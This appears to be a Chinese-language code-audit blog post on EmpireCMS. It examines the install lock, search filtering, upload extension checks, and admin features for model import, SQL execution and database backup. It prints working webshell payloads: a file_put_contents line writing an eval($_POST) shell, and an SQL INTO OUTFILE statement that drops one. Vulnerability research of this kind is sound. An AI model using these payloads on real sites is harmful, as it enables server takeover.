empirecms代码审计

16

环境搭建

macOS 下优雅地配置 PHP 代码审计环境

帝国cms源码

代码审计

安装

看一眼安装功能,有个判断,要是有任意文件删除就能用了

if(file_exists("install.off"))
{
	echo"《帝国网站管理系统》安装程序已锁定。如果要重新安装,请删除<b>/e/install/install.off</b>文件!";
	exit();
}

搜索

首页看起来就只有登陆和搜索,看看搜索。直接拼接,存在sql注入

$hh=$_POST['hh'];

image-1699759719830

存在一个过滤函数,似乎没啥搞头

function RepPostVar2($val){
	if($val!=addslashes($val))
	{
		exit();
	}
	CkPostStrChar($val);
	$val=str_replace("%","",$val);
	$val=str_replace("`","",$val);
	$val=str_replace("\t","",$val);
	$val=str_replace("%20","",$val);
	$val=str_replace("%27","",$val);
	$val=str_replace("*","",$val);
	$val=str_replace("'","",$val);
	$val=str_replace("\"","",$val);
	$val=str_replace("/","",$val);
	$val=str_replace(";","",$val);
	$val=str_replace("#","",$val);
	$val=str_replace("--","",$val);
	$val=RepPostStr($val,1);
	$val=addslashes($val);
	//FireWall
	FWClearGetText($val);
	return $val;
}

注册

上传头像处验证了一些后缀,如果能上传.htaccess就能解析图片马

//保留扩展名验证
function CheckSaveTranFiletype($filetype){
	$savetranfiletype=',.php,.php3,.php4,.php5,.php6,.asp,.aspx,.jsp,.cgi,.phtml,.asa,.asax,.fcgi,.pl,.ascx,.ashx,.cer,.cdx,.pht,.shtml,.shtm,.stm,';
	if(stristr($savetranfiletype,','.$filetype.','))
	{
		return true;
	}
	return false;
}

但是请求限制了头像的后缀为gif|jpg,这后缀是跑不掉了

image-1699759735500

image-1699759741268

image-1699759747994

会员空间

投稿和会员空间都不能用,先用管理员账户设置一下

image-1699759755826

对传入字段做了html编码

//处理注册字段值
function DoMemberFValue($val){
	$val=ehtmlspecialchars($val,ENT_QUOTES);
	return $val;
}

后台导入数据模型

找到关键请求

image-1699759764409

找到对应代码

	//上传文件
	$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
	$cp=@move_uploaded_file($file,$path);
	if(!$cp)
	{
		printerror("EmptyLoadInMod","");
	}
	DoChmodFile($path);
	@include($path);

这里包含了上传的文件,用file_put_contents写shell

<?php file_put_contents("1.php","<?php @eval(\$_POST[cmd]); ?>");?>

执行sql语句

e/admin/db/DoSql.php;分割语句、执行,没有过滤

	foreach(explode(";\n",trim($sql)) as $query)
	{
		$queries=explode("\n",trim($query));
		foreach($queries as $query)
		{
			$ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
		}
		$num++;
	}
	unset($sql);
	foreach($ret as $query)
	{
		$query=trim($query);
		if($query)
		{
			$empire->query($query);
		}
	}

写一句话

select '<?php @eval($_POST[b1ank]);?>' into outfile '/Users/b1ank/Documents/sec/www/EmpireCMS/upload/e/admin/2.php'

备份数据

选一个表,备份,抓包改表名。目录下生成三个文件,访问config.php,得到phpinfo页面

image-1699759775586

$b_table直接拼接,用的是之前的过滤函数,对于eval($_POST[b1ank]并没有影响

	$string="<?php
	\$b_table=\"".$b_table."\";
	".$d_table."
	\$b_baktype=".$add['baktype'].";
	\$b_filesize=".$add['filesize'].";
	\$b_bakline=".$add['bakline'].";
	\$b_autoauf=".$add['autoauf'].";
	\$b_dbname=\"".$dbname."\";
	\$b_stru=".$bakstru.";
	\$b_strufour=".$bakstrufour.";
	\$b_dbchar=\"".addslashes($add['dbchar'])."\";
	\$b_beover=".$beover.";
	\$b_insertf=\"".addslashes($insertf)."\";
	\$b_autofield=\",".addslashes($add['autofield']).",\";
	\$b_bakdatatype=".$bakdatatype.";
	?>";

Reference

帝国cms漏洞整理

empirecms漏洞总结